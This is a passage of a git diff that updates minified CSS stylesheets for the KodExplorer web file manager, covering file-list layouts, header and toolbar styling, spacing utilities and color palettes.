#pathRenameTextarea,.file-list-list .file .filename .newfile,.file-list-split .file .filename #pathRenameTextarea,.file-list-split .file .filename .newfile{height:24px;line-height:24px;z-index:999;width:200px;min-width:150px;border:none;font-size:1.0em;padding-left:2px;padding-top:2px;}.file-list-list .file .filename #pathRenameTextarea:focus,.file-list-list .file .filename .newfile:focus,.file-list-split .file .filename #pathRenameTextarea:focus,.file-list-split .file .filename .newfile:focus{outline:none;}.file-list-list .file .filename .title,.file-list-split .file .filename .title{word-break:break-all;}.file-list-list .file .ico,.file-list-split .file .ico{height:20px;width:20px;padding:0px;line-height:20px;margin-right:4px;margin-top:4px;text-align:center;vertical-align:bottom;display:table-cell;}.file-list-list .file .ico img,.file-list-split .file .ico img{height:100% \9;max-height:100%;max-width:100%;}.file-list-list .file .filename .textarea{position:absolute;}.line-split-box{position:absolute;bottom:0px;right:0px;left:0px;top:0px;margin-top:0;overflow:hidden;}.line-split-box .split-line{border-right:1px solid #e6e6e6;border-right:1px solid rgba(150,150,150,0.15);width:250px;float:left;height:100%;}.file-list-split{overflow:hidden;}.file-list-split .file{width:97.5%;height:24px;margin-left:0.7%;position:relative;}.file-list-split .file.file2{background:none;}.file-list-split .file .ico,.file-list-split .file .filename,.file-list-split .file .filetype,.file-list-split .file .filesize,.file-list-split .file .filetime,.file-list-split .file .children-open{line-height:22px;height:22px;}.file-list-split .file .ico{margin-left:5px;margin-top:3px;}.file-list-split .file .ico img{margin-top:-6px;}.file-list-split .file .filename{width:100%;}.file-list-split .file .filename span.title{position:absolute;overflow:hidden;padding-left:2px;}.file-list-split .file .filename #pathRenameTextarea,.file-list-split .file .filename .newfile{height:23px;line-height:23px;}.file-list-split .file .filename .title .textarea{margin-top:-2px;}.file-list-split .file .children-open{width:20px;height:28px;text-align:center;padding-left:0px;background:rgba(255,255,255,0.4);position:absolute;right:0;}.file-list-split .file .children-open i.font-icon{font-size:1.25em;color:#aaa;display:inline-block;width:20px;line-height:28px;height:28px;font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;-webkit-font-smoothing:antialiased;}.file-list-split .file .children-open i.font-icon::before{content:"\f0da";line-height:24px;}.file-list-split .file.select-split-parent{background:#e3f0ff;border:1px solid #c9e2ff;}.file-list-split .file.select-split-parent .children-open i.font-icon::before{content:"\f101";font-size:20px;}.file-list-split .split-box{border-right:1px solid #e6e6e6;border-right:1px solid rgba(150,150,150,0.15);width:250px;overflow:hidden;position:absolute;bottom:0px;left:0px;top:0px;border-bottom:5px solid transparent;}.file-list-split .split-box .content{overflow:auto;height:100%;margin:2px 0px 10px 0px;}.file-list-split .split-box.split-hover{background:#eef7ff;background:rgba(0,0,0,0.01);box-shadow:0 0 100px #eef7ff inset;border-bottom:5px solid #acd9ff;}.file-list-split .split-box.split-select{background:#dff0ff;background:rgba(0,0,0,0.01);box-shadow:0 0 40px #dff0ff inset;margin-left:-1px;border-left:1px solid #eee;border-color:#acd9ff;border-bottom:5px solid #2196F3;}.file-list-split .is-drag-split .split-drag{background:rgba(100,100,100,0.2);}.file-list-split .split-drag{position:absolute;top:0px;right:0px;bottom:0px;width:4px;cursor:col-resize;z-index:55;background:url("../../../images/common/resize.png") 2px 50% no-repeat;}.file-list-split .content-more{height:100px;position:relative;}.children-list-dropover{position:relative;z-index:10 !important;padding-right:2px;outline:1px solid #2196F3;}.children-list-dropover.menu-body-main{outline:1px solid #2196F3;box-shadow:inset 0 0 2px #2196F3, inset 0 0 3px #2196F3;margin-bottom:1px;}.file-select-over-temp{z-index:50 !important;outline:1px solid #2196F3 !important;}.file-list-split .file .children-open i.font-icon{background:url("../../../images/common/tree.png") no-repeat 2px -350px \9\0;height:20px \9\0;}.file-list-split .file .children-open i.font-icon:before{display:none \9\0;}.file-list-split .file.select-split-parent .children-open i.font-icon{background:url("../../../images/common/tree.png") no-repeat -30px -350px \9\0;height:20px \9\0;}.file-list-list .file .children-more i.font-icon,.file-list-split .file .children-more i.font-icon{background:url("../../../images/common/tree.png") no-repeat 2px -350px \9\0;height:20px \9\0;}.file-list-list .file .children-more i.font-icon::after,.file-list-split .file .children-more i.font-icon::after{display:none \9\0;}.file-list-list .file .children-more i.font-icon.cert-open,.file-list-split .file .children-more i.font-icon.cert-open{background:url("../../../images/common/tree.png") no-repeat -15px -350px \9\0;}.file-list-list .file .children-more i.font-icon:hover,.file-list-split .file .children-more i.font-icon:hover{background:url("../../../images/common/tree.png") no-repeat -30px -350px \9\0;}.file-list-list .file .children-more i.font-icon.cert-open:hover,.file-list-split .file .children-more i.font-icon.cert-open:hover{background:url("../../../images/common/tree.png") no-repeat -47px -350px \9\0;}html,body{overflow:hidden;overflow-x:hidden;overflow-y:hidden;}.path-tips{line-height:23px;margin-left:15px;margin-top:1px;float:left;display:none;background:#ddd;color:#777;cursor:pointer;border-radius:3px;padding:1px 8px;position:relative;z-index:7;opacity:0.8;filter:alpha(opacity=80);}.role-label-box{padding:6px 0 0 10px;float:left;}.role-label-box .label{cursor:default;padding:4px 8px;}.frame-header .btn-group-sm >.btn,.frame-main .btn-group-sm >.btn{padding:3px 7px;}.button-style .btn-default{box-shadow:0 2px 8px rgba(0,0,0,0.05);border-radius:0px;height:26px;float:left;font-size:1em;-webkit-transition:border 0.2s;-moz-transition:border 0.2s;-o-transition:border 0.2s;-ms-transition:border 0.2s;transition:border 0.2s;overflow:hidden;padding:0 10px;border:solid 1px #ddd;margin:0 0 0 -1px;outline:none;}.button-style .btn-default .font-icon{line-height:22px;}.button-style .btn-default:hover,.button-style .btn-default:focus{color:#000;border-color:#aaa;-webkit-box-shadow:0 1px 10px rgba(0,0,0,0.2);-moz-box-shadow:0 1px 10px rgba(0,0,0,0.2);box-shadow:0 1px 10px rgba(0,0,0,0.2);}.button-style .btn-default:active{color:#000;border-color:#888;}.button-style .btn-left-radius{border-radius:3px 0px 0px 3px;}.button-style .btn-right-radius{border-radius:0px 3px 3px 0px;}.header-middle{padding-left:12px;}.header-middle .btn-default{box-shadow:0 2px 8px rgba(0,0,0,0.05);border-radius:0px;height:26px;float:left;font-size:1em;-webkit-transition:border 0.2s;-moz-transition:border 0.2s;-o-transition:border 0.2s;-ms-transition:border 0.2s;transition:border 0.2s;overflow:hidden;padding:0 10px;border:solid 1px #ddd;margin:0 0 0 -1px;outline:none;}.header-middle .btn-default .font-icon{line-height:22px;}.header-middle .btn-default:hover,.header-middle .btn-default:focus{color:#000;border-color:#aaa;-webkit-box-shadow:0 1px 10px rgba(0,0,0,0.2);-moz-box-shadow:0 1px 10px rgba(0,0,0,0.2);box-shadow:0 1px 10px rgba(0,0,0,0.2);}.header-middle .btn-default:active{color:#000;border-color:#888;}.header-middle .btn-left-radius{border-radius:3px 0px 0px 3px;}.header-middle .btn-right-radius{border-radius:0px 3px 3px 0px;}.header-middle #yarnball{width:50%;cursor:text;height:26px;overflow:hidden;float:left;border:1px solid #ddd;margin-left:-1px;box-shadow:#e6e6e6 0px 0px 20px inset;background:#f8f8f8;background:#f8f8f8 url("../../../images/common/bg.gif") 0px -2px repeat-x;}.header-middle #yarnball .yarnball{list-style:none;margin:0;margin-top:-1px;padding:0;position:relative;}.header-middle #yarnball .yarnball .yarnlet{display:inline-block;float:left;}.header-middle #yarnball .yarnball .yarnlet a,.header-middle #yarnball .yarnball .yarnlet a:link,.header-middle #yarnball .yarnball .yarnlet a:visited{color:#666;display:inline-block;font-size:1em;padding:0px 15px 0px 20px;margin-left:-15px;position:relative;text-decoration:none;vertical-align:top;line-height:27px;}.header-middle #yarnball .yarnball .yarnlet.first a{margin-left:0px;padding-left:15px;}.header-middle #yarnball .yarnball .yarnlet a{background-image:url("../../../images/common/ybutton.png");background-repeat:no-repeat;background-position:100% 0;cursor:pointer;height:27px;}.header-middle #yarnball .yarnball .yarnlet a:hover{background-position:100% -48px;color:#333;}.header-middle #yarnball .yarnball .yarnlet a:active,.header-middle #yarnball .yarnball .yarnlet a.curDropToPath{background-position:100% -96px;color:#333;}.header-middle #yarnball .yarnball .yarnlet a.curDropToPath{color:#fff;background-position:100% -144px;}.header-middle #yarnball .yarnball .yarnlet .left-yarn{background:url("../../../images/common/ybutton.png") no-repeat 0 -2px;margin-left:-17px;padding:5px 6px 11px 4px;z-index:11;padding-top:5px \9;}.header-middle #yarnball .yarnball .yarnlet a:hover .left-yarn{background-position:0 -50px;}.header-middle #yarnball .yarnball .yarnlet a:active .left-yarn{background-position:0 -98px;}.header-middle #yarnball-input{height:26px;width:50%;cursor:text;float:left;border:1px solid #ddd;display:none;margin-left:-1px;background:#f8f8f8;background:#f8f8f8 url("../../../images/common/bg.gif") 0px -2px repeat-x;box-shadow:#e6e6e6 0px 0px 20px inset;}.header-middle #yarnball-input input.path{border:none;height:25px;display:block;width:100%;padding:0;padding-left:10px;padding-right:10px;background:#f8f8f8;background:#f8f8f8 url("../../../images/common/bg.gif") 0px -2px repeat-x;background:none;width:94%;font-size:1em;line-height:25px;color:#444;}.header-middle #yarnball-input input:focus{outline:none;}.header-middle .address-ico{display:inline-block;cursor:pointer;outline:none;background-color:transparent;background-repeat:no-repeat;vertical-align:top;height:20px;width:20px;margin-right:5px;margin-top:0px;}.header-middle .address-ico img{height:100%;width:100%;max-width:100%;max-height:100%;}.frame-header{height:49px;width:100%;background:#f8f8f8;background:#f8f8f8 url("../../../images/common/bg.gif") 0px -2px repeat-x;min-width:600px;border-bottom:1px solid #ddd;}.frame-header .header-content{padding-top:12px;}.frame-header .header-content button.btn{background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;}.frame-header .header-content .disable .font-icon{opacity:0.4;filter:alpha(opacity=40);}.frame-header .header-content img{border:none;width:18px;height:18px;}.frame-header .header-content a{display:block;float:left;height:19px;height:25px\0;height:20px\9;}.frame-header .header-content .font-icon{font-size:1.25em;line-height:20px;padding:0 0px;}.frame-header .header-content #btn-history-back .font-icon,.frame-header .header-content #btn-history-next .font-icon{padding:0 5px;font-size:20px;}.frame-header .header-content .header-left{float:left;width:80px;padding-left:10px;}.frame-header .header-content .header-left button.disable{box-shadow:inset 0 3px 6px rgba(0,0,0,0.1);opacity:0.5;filter:alpha(opacity=50);}.frame-header .header-content .header-left button.disable .font-icon{color:#bbb;}.frame-header .header-content .header-right{position:absolute;right:20px;top:12px;}.frame-header .header-content .header-right .btn-default{box-shadow:0 2px 8px rgba(0,0,0,0.05);border-radius:0px;height:26px;float:left;font-size:1em;-webkit-transition:border 0.2s;-moz-transition:border 0.2s;-o-transition:border 0.2s;-ms-transition:border 0.2s;transition:border 0.2s;overflow:hidden;padding:0 10px;border:solid 1px #ddd;margin:0 0 0 -1px;outline:none;}.frame-header .header-content .header-right .btn-default .font-icon{line-height:22px;}.frame-header .header-content .header-right .btn-default:hover,.frame-header .header-content .header-right .btn-default:focus{color:#000;border-color:#aaa;-webkit-box-shadow:0 1px 10px rgba(0,0,0,0.2);-moz-box-shadow:0 1px 10px rgba(0,0,0,0.2);box-shadow:0 1px 10px rgba(0,0,0,0.2);}.frame-header .header-content .header-right .btn-default:active{color:#000;border-color:#888;}.frame-header .header-content .header-right .btn-left-radius{border-radius:3px 0px 0px 3px;}.frame-header .header-content .header-right .btn-right-radius{border-radius:0px 3px 3px 0px;}.frame-header .header-content .header-right input{display:block;float:left;border:1px solid #ddd;height:26px;height:26px \9;padding:0;padding-left:10px;padding-right:0px;text-shadow:1px 1px 3px #cce;color:#888;background:#f8f8f8;background:#f8f8f8 url("../../../images/common/bg.gif") 0px -2px repeat-x;box-shadow:#e6e6e6 0px 0px 20px inset;outline:none;width:91px;-webkit-transition:all 0.218s;-moz-transition:all 0.218s;-o-transition:all 0.218s;-ms-transition:all 0.218s;transition:all 0.218s;}.frame-header .header-content .header-right input:focus{box-shadow:#ccc 0px 0px 20px inset;}.frame-main{position:absolute;left:0;right:0;top:40px;bottom:32px;}.frame-main .frame-left{position:absolute;left:0;top:0;bottom:0px;width:199px;border-right:1px solid #ddd;background:#fff;background-attachment:fixed;overflow:auto;z-index:10;}.frame-main .frame-left #folder-list-tree{position:absolute;width:100%;top:0px;bottom:85px;overflow:auto;}.frame-main .file-continer-more{width:1px;height:1px;position:absolute;top:0;}.frame-main .bottom-box{position:absolute;bottom:0px;width:100%;padding:5px 0;overflow:hidden;border-right:none;border-top:1px solid #f3f3f3;border-top:1px solid rgba(0,0,0,0.1);}.frame-main .bottom-box .box-content{padding-left:20px;}.frame-main .bottom-box .cell{background:#f8f8f8;background:#f8f8f8 url("../../../images/common/bg.gif") 0px -2px repeat-x;display:block;border-radius:3px;float:left;text-align:center;color:#888;border:1px solid #ddd;width:65px;padding:2px 5px 0px 5px;margin-right:8px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;}.frame-main .bottom-box .cell i{display:block;font-size:25px;padding-bottom:0px;text-shadow:none;}.frame-main .bottom-box .cell.recycle-hover,.frame-main .bottom-box .cell.share-hover{background-position:0px -15px;border:1px solid #bbb;color:#666;box-shadow:0 0 4px #eee;cursor:pointer;}.frame-main .frame-resize{width:10px;cursor:col-resize;z-index:100;position:absolute;left:195px;top:0;bottom:0;overflow:hidden;background:url("../../../images/common/resize.png") 0px 50% no-repeat;}.frame-main .frame-resize.active{background:#000;opacity:0.2;filter:alpha(opacity=20);}.frame-main .frame-right{left:200px;right:0;position:absolute;top:0;bottom:0;overflow:hidden;min-width:450px;}.frame-main .frame-right .frame-right-main .font-icon{line-height:16px;padding:0 2px;font-size:1em;}.frame-main .frame-right .frame-right-main .drop-menu-action{min-width:150px;font-size:1em;}.frame-main .frame-right .frame-right-main .drop-menu-action a{padding:2px 30px;}.frame-main .frame-right .frame-right-main .drop-menu-action .divider{margin:5px 0;}.frame-main .frame-right .frame-right-main .drop-menu-action .disabled a{opacity:0.8;filter:alpha(opacity=80);}.frame-main .frame-right .frame-right-main .kod-toolbar{height:24px;overflow:hidden;}.frame-main .frame-right .frame-right-main .kod-toolbar .group-space-use{margin-top:0;padding:2px 10px;height:18px;}.frame-main .frame-right .frame-right-main .kod-toolbar-path .font-icon{padding-right:5px;}.frame-main .frame-right .frame-right-main .tools{z-index:100;height:34px;min-width:505px;overflow:hidden;border-bottom:1px solid #ddd;background:#fefefe;-webkit-box-shadow:1px 2px 15px #eee;-moz-box-shadow:1px 2px 15px #eee;box-shadow:1px 2px 15px #eee;}.frame-main .frame-right .frame-right-main .tools a.left:hover,.frame-main .frame-right .frame-right-main .tools a.middle:hover{margin-right:2px;padding-right:8px;}.frame-main .frame-right .frame-right-main .tools .btn.toolbar-path-more{border-top-right-radius:3px;border-bottom-right-radius:3px;}.frame-main .frame-right .frame-right-main .tools a.this{background:#eee;cursor:default;}.frame-main .frame-right .frame-right-main .tools a.this:hover{margin-right:0px;padding-right:10px;border:1px solid #ddd;background:#eee;-webkit-box-shadow:0 2px 8px rgba(0,0,0,0.05);-moz-box-shadow:0 2px 8px rgba(0,0,0,0.05);box-shadow:0 2px 8px rgba(0,0,0,0.05);-webkit-border-radius:2px;-moz-border-radius:2px;border-radius:2px;}.frame-main .frame-right .frame-right-main .tools .tools-left{float:left;margin:5px 0 0 10px;}.frame-main .frame-right .frame-right-main .tools .tools-left .btn-group{float:left;}.frame-main .frame-right .frame-right-main .tools .tools-left span.msg{display:none;margin-left:20px;float:left;padding-left:30px;font-size:1.1em;color:#888;height:25px;line-height:25px;background:url("../../../images/common/loading.gif") 4px 7px no-repeat;}.frame-main .frame-right .frame-right-main .tools .tools-right{margin:5px 20px 0 0;width:240px;position:absolute;right:0px;}.frame-main .frame-right .frame-right-main .tools .tools-right .btn-group-sm{float:right;}.frame-main .frame-right .frame-right-main .tools .tools-right .menu-file-sort-by{width:20px;height:25px;cursor:pointer;line-height:25px;margin-right:2px;text-align:center;float:right;color:#bbb;}.frame-main .frame-right .frame-right-main .tools .tools-right .menu-file-sort-by:hover,.frame-main .frame-right .frame-right-main .tools .tools-right .menu-file-sort-by.context-menu-active{background:#f6f6f6;border-radius:3px;color:#888;}.frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size{float:right;display:none;color:#bbb;width:30px;}.frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size .dropdown-toggle{width:25px;height:25px;display:inline-block;cursor:pointer;line-height:25px;margin-right:5px;text-align:center;}.frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size:hover,.frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size.open{color:#888;}.frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size:hover .dropdown-toggle,.frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size.open .dropdown-toggle{background:#f6f6f6;border-radius:3px;}.frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size .set-icon-size-slider{position:relative;margin-left:-8px;margin-top:2px;padding:10px 0;width:40px;min-width:10px;height:120px;}.frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size .set-icon-size-slider.dropdown-menu:before{right:13px;}.frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size .set-icon-size-slider.dropdown-menu:after{right:14px;}.frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size .set-icon-size-slider .slider-bg{height:100%;width:5px;background:#ddd;margin-left:17px;border-radius:3px;cursor:pointer;}.frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size .set-icon-size-slider .slider-handle{-webkit-transition:box-shadow 0.2s;-moz-transition:box-shadow 0.2s;-o-transition:box-shadow 0.2s;-ms-transition:box-shadow 0.2s;transition:box-shadow 0.2s;width:16px;height:16px;border-radius:10px;margin-top:10px;cursor:pointer;border-width:1px \9;border:2px solid #96dbfa;background:#fff;position:absolute;margin-left:10px;top:0px;left:0;}.frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size .set-icon-size-slider .slider-handle:hover{box-shadow:0 0 0 6px rgba(150,219,250,0.7);}.frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size .set-icon-size-slider .slider-handle.active{background:#7ed3f9;border-color:#7ed3f9;box-shadow:none;}.frame-main .frame-right .frame-right-main .admin-real-path a.dialog-goto-path{width:20px;text-decoration:none;padding:1px 10px;background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;display:inline-block;text-align:center;border-radius:3px;margin-left:10px;border:1px solid #ddd;}.frame-main .frame-right .frame-right-main .admin-real-path a.dialog-goto-path .font-icon{font-size:18px;line-height:20px;}.frame-main .frame-right .frame-right-main .admin-real-path a.dialog-goto-path:hover{border:1px solid #999;}.frame-main .frame-right .dropdown-menu{font-size:1em;margin-top:5px;}.frame-main .frame-right .bodymain{position:absolute;zoom:1;z-index:0;top:85px;bottom:0;left:0;overflow:auto;width:100%;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.frame-main .frame-right .file-select-info{height:25px;background:#fff;color:#aaa;opacity:0.9;filter:alpha(opacity=90);position:absolute;bottom:5px;margin-left:0px;padding:0px 1em;font-size:1em;line-height:25px;}.frame-main .frame-right .file-select-info .item-num,.frame-main .frame-right .file-select-info .item-select{border-left:3px solid rgba(200,200,200,0.3);border-right:3px solid rgba(200,200,200,0.3);padding-left:5px;padding-right:5px;}.frame-main .frame-right .file-select-info .item-select{padding-left:0.5em;border-left:none;}.frame-main .path-is-null{text-align:center;color:#aaa;cursor:default;position:absolute;width:90%;margin-top:10%;}.frame-main .path-is-null:before{display:block;margin:0 auto;margin-bottom:0px;text-align:center;color:#ddd;font-size:60px;content:"\f115";font-family:FontAwesome;}.user-space-info{height:25px;width:150px;color:#aaa;overflow:hidden;padding-left:20px;}.user-space-info .space-info-bar{width:150px;}.user-space-info .space-info-bar .space-process{width:150px;}.group-space-use{float:left;padding:2px 10px 0;color:#666;margin-top:-1px;background:url("../../../images/common/buttons_40.png") 0 7px repeat-x;margin-left:10px;border-radius:2px;border:1px solid #ddd;}.file-list-icon div.file{transition:all 0.2s ease 0s;}@media (max-width:1200px){html .select-button-show{ display:none;}} +/* ver 4.30(2018-07-05) [build 1530795189.2426] */ \ No newline at end of file diff --git a/static/style/skin/base/app_setting.css b/static/style/skin/base/app_setting.css index 64f942d..5d3bd8b 100755 --- a/static/style/skin/base/app_setting.css +++ b/static/style/skin/base/app_setting.css @@ -1,3 +1,5 @@ -/* power by kodexplorer ver 4.25(2017-12-04) [build 1512368388.9236] */ -body{font-size:12px;padding:0px;margin:0px;font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}textarea,input,button,pre,p,.can-select{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;}blockquote{padding:10px 20px;margin:0 0 20px 1em;border-left:10px solid #eee;background:#f6f6f6;}blockquote p{font-size:1em;margin:0px;}a{text-decoration:none;}a:focus{outline:none !important;}h1,h2,h3,h4,h5,.h1,.h2,.h3,.h4,.h5{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;}*,*:before,*:after{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;}label{font-weight:normal;}pre{border:none;border-radius:0;}::-webkit-scrollbar-track-piece{background-color:rgba(180,180,180,0.06);border-radius:3px;}::-webkit-scrollbar{width:10px;height:10px;}::-webkit-scrollbar-thumb{background-color:rgba(180,180,180,0.2);border-radius:12px;background-clip:padding-box;border:1px solid rgba(180,180,180,0.4);min-height:28px;}::-webkit-scrollbar-thumb:hover{background-color:rgba(180,180,180,0.4);border:1px solid rgba(180,180,180,0.7);}.can-select,.can-select *{-khtml-user-select:text !important;-webkit-user-select:text !important;-moz-user-select:text !important;-ms-user-select:text !important;-o-user-select:text !important;user-select:text !important;}.can-not-select,.can-not-select *{-khtml-user-select:none !important;-webkit-user-select:none !important;-moz-user-select:none !important;-ms-user-select:none !important;-o-user-select:none !important;user-select:none !important;}.fl{float:left;}.fl-left{float:left;}.fl-right{float:right;}.disable,.disabled{cursor:not-allowed;pointer-events:none;}.clear{clear:both;}.hidden{display:none;}.border-radius-none{border-radius:0 !important;}.FontAwesome{font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;font-size:18px;}.font-nomal{font-weight:800;}.font-bold,.bold{font-weight:800;}.font-400{font-weight:400;}.font-800{font-weight:800;}.size12{font-size:12px;}.size14{font-size:14px;}.size16{font-size:16px;}.size18{font-size:18px;}.size20{font-size:20px;}.size22{font-size:22px;}.align-left{text-align:left;}.align-center{text-align:center;}.align-right{text-align:right;}.p-5{padding:5px;}.p-10{padding:10px;}.p-15{padding:15px;}.p-20{padding:20px;}.p-25{padding:25px;}.p-30{padding:30px;}.p-35{padding:35px;}.p-40{padding:40px;}.p-45{padding:45px;}.p-50{padding:50px;}.pt-5{padding-top:5px;}.pr-5{padding-right:5px;}.pb-5{padding-bottom:5px;}.pl-5{padding-left:5px;}.pt-10{padding-top:10px;}.pr-10{padding-right:10px;}.pb-10{padding-bottom:10px;}.pl-10{padding-left:10px;}.pt-15{padding-top:15px;}.pr-15{padding-right:15px;}.pb-15{padding-bottom:15px;}.pl-15{padding-left:15px;}.pt-20{padding-top:20px;}.pr-20{padding-right:20px;}.pb-20{padding-bottom:20px;}.pl-20{padding-left:20px;}.pt-25{padding-top:25px;}.pr-25{padding-right:25px;}.pb-25{padding-bottom:25px;}.pl-25{padding-left:25px;}.pt-30{padding-top:30px;}.pr-30{padding-right:30px;}.pb-30{padding-bottom:30px;}.pl-30{padding-left:30px;}.pt-35{padding-top:35px;}.pr-35{padding-right:35px;}.pb-35{padding-bottom:35px;}.pl-35{padding-left:35px;}.pt-40{padding-top:40px;}.pr-40{padding-right:40px;}.pb-40{padding-bottom:40px;}.pl-40{padding-left:40px;}.pt-45{padding-top:45px;}.pr-45{padding-right:45px;}.pb-45{padding-bottom:45px;}.pl-45{padding-left:45px;}.pt-50{padding-top:50px;}.pr-50{padding-right:50px;}.pb-50{padding-bottom:50px;}.pl-50{padding-left:50px;}.m-5{margin:5px;}.m-10{margin:10px;}.m-15{margin:15px;}.m-20{margin:20px;}.m-25{margin:25px;}.m-30{margin:30px;}.m-35{margin:35px;}.m-40{margin:40px;}.m-45{margin:45px;}.m-50{margin:50px;}.mt-5{margin-top:5px;}.mr-5{margin-right:5px;}.mb-5{margin-bottom:5px;}.ml-5{margin-left:5px;}.mt-10{margin-top:10px;}.mr-10{margin-right:10px;}.mb-10{margin-bottom:10px;}.ml-10{margin-left:10px;}.mt-15{margin-top:15px;}.mr-15{margin-right:15px;}.mb-15{margin-bottom:15px;}.ml-15{margin-left:15px;}.mt-20{margin-top:20px;}.mr-20{margin-right:20px;}.mb-20{margin-bottom:20px;}.ml-20{margin-left:20px;}.mt-25{margin-top:25px;}.mr-25{margin-right:25px;}.mb-25{margin-bottom:25px;}.ml-25{margin-left:25px;}.mt-30{margin-top:30px;}.mr-30{margin-right:30px;}.mb-30{margin-bottom:30px;}.ml-30{margin-left:30px;}.mt-35{margin-top:35px;}.mr-35{margin-right:35px;}.mb-35{margin-bottom:35px;}.ml-35{margin-left:35px;}.mt-40{margin-top:40px;}.mr-40{margin-right:40px;}.mb-40{margin-bottom:40px;}.ml-40{margin-left:40px;}.mt-45{margin-top:45px;}.mr-45{margin-right:45px;}.mb-45{margin-bottom:45px;}.ml-45{margin-left:45px;}.mt-50{margin-top:50px;}.mr-50{margin-right:50px;}.mb-50{margin-bottom:50px;}.ml-50{margin-left:50px;}.blue-1{color:#ecf6fd;}.bg-blue-1{background:#ecf6fd;}.bdcolor-blue-1{border-color:#ecf6fd;}.blue-2{color:#d2eafb;}.bg-blue-2{background:#d2eafb;}.bdcolor-blue-2{border-color:#d2eafb;}.blue-3{color:#add8f7;}.bg-blue-3{background:#add8f7;}.bdcolor-blue-3{border-color:#add8f7;}.blue-4{color:#7ec2f3;}.bg-blue-4{background:#7ec2f3;}.bdcolor-blue-4{border-color:#7ec2f3;}.blue-5{color:#49a9ee;}.bg-blue-5{background:#49a9ee;}.bdcolor-blue-5{border-color:#49a9ee;}.blue-6{color:#108ee9;}.bg-blue-6{background:#108ee9;}.bdcolor-blue-6{border-color:#108ee9;}.blue-7{color:#0e77ca;}.bg-blue-7{background:#0e77ca;}.bdcolor-blue-7{border-color:#0e77ca;}.blue-8{color:#0c60aa;}.bg-blue-8{background:#0c60aa;}.bdcolor-blue-8{border-color:#0c60aa;}.blue-9{color:#09488a;}.bg-blue-9{background:#09488a;}.bdcolor-blue-9{border-color:#09488a;}.blue-10{color:#073069;}.bg-blue-10{background:#073069;}.bdcolor-blue-10{border-color:#073069;}.purple-1{color:#f4f3fd;}.bg-purple-1{background:#f4f3fd;}.bdcolor-purple-1{border-color:#f4f3fd;}.purple-2{color:#e4e2fa;}.bg-purple-2{background:#e4e2fa;}.bdcolor-purple-2{border-color:#e4e2fa;}.purple-3{color:#cfcaf6;}.bg-purple-3{background:#cfcaf6;}.bdcolor-purple-3{border-color:#cfcaf6;}.purple-4{color:#b3acf2;}.bg-purple-4{background:#b3acf2;}.bdcolor-purple-4{border-color:#b3acf2;}.purple-5{color:#948aec;}.bg-purple-5{background:#948aec;}.bdcolor-purple-5{border-color:#948aec;}.purple-6{color:#7265e6;}.bg-purple-6{background:#7265e6;}.bdcolor-purple-6{border-color:#7265e6;}.purple-7{color:#6252cd;}.bg-purple-7{background:#6252cd;}.bdcolor-purple-7{border-color:#6252cd;}.purple-8{color:#533eb4;}.bg-purple-8{background:#533eb4;}.bdcolor-purple-8{border-color:#533eb4;}.purple-9{color:#42299a;}.bg-purple-9{background:#42299a;}.bdcolor-purple-9{border-color:#42299a;}.purple-10{color:#321580;}.bg-purple-10{background:#321580;}.bdcolor-purple-10{border-color:#321580;}.cyan-1{color:#ebf8f9;}.bg-cyan-1{background:#ebf8f9;}.bdcolor-cyan-1{border-color:#ebf8f9;}.cyan-2{color:#cfedf0;}.bg-cyan-2{background:#cfedf0;}.bdcolor-cyan-2{border-color:#cfedf0;}.cyan-3{color:#a7dfe3;}.bg-cyan-3{background:#a7dfe3;}.bdcolor-cyan-3{border-color:#a7dfe3;}.cyan-4{color:#76cdd3;}.bg-cyan-4{background:#76cdd3;}.bdcolor-cyan-4{border-color:#76cdd3;}.cyan-5{color:#3db8c1;}.bg-cyan-5{background:#3db8c1;}.bdcolor-cyan-5{border-color:#3db8c1;}.cyan-6{color:#00a2ae;}.bg-cyan-6{background:#00a2ae;}.bdcolor-cyan-6{border-color:#00a2ae;}.cyan-7{color:#008997;}.bg-cyan-7{background:#008997;}.bdcolor-cyan-7{border-color:#008997;}.cyan-8{color:#00707f;}.bg-cyan-8{background:#00707f;}.bdcolor-cyan-8{border-color:#00707f;}.cyan-9{color:#005667;}.bg-cyan-9{background:#005667;}.bdcolor-cyan-9{border-color:#005667;}.cyan-10{color:#003c4e;}.bg-cyan-10{background:#003c4e;}.bdcolor-cyan-10{border-color:#003c4e;}.green-1{color:#ebf8f2;}.bg-green-1{background:#ebf8f2;}.bdcolor-green-1{border-color:#ebf8f2;}.green-2{color:#cfefdf;}.bg-green-2{background:#cfefdf;}.bdcolor-green-2{border-color:#cfefdf;}.green-3{color:#a7e1c4;}.bg-green-3{background:#a7e1c4;}.bdcolor-green-3{border-color:#a7e1c4;}.green-4{color:#76d0a3;}.bg-green-4{background:#76d0a3;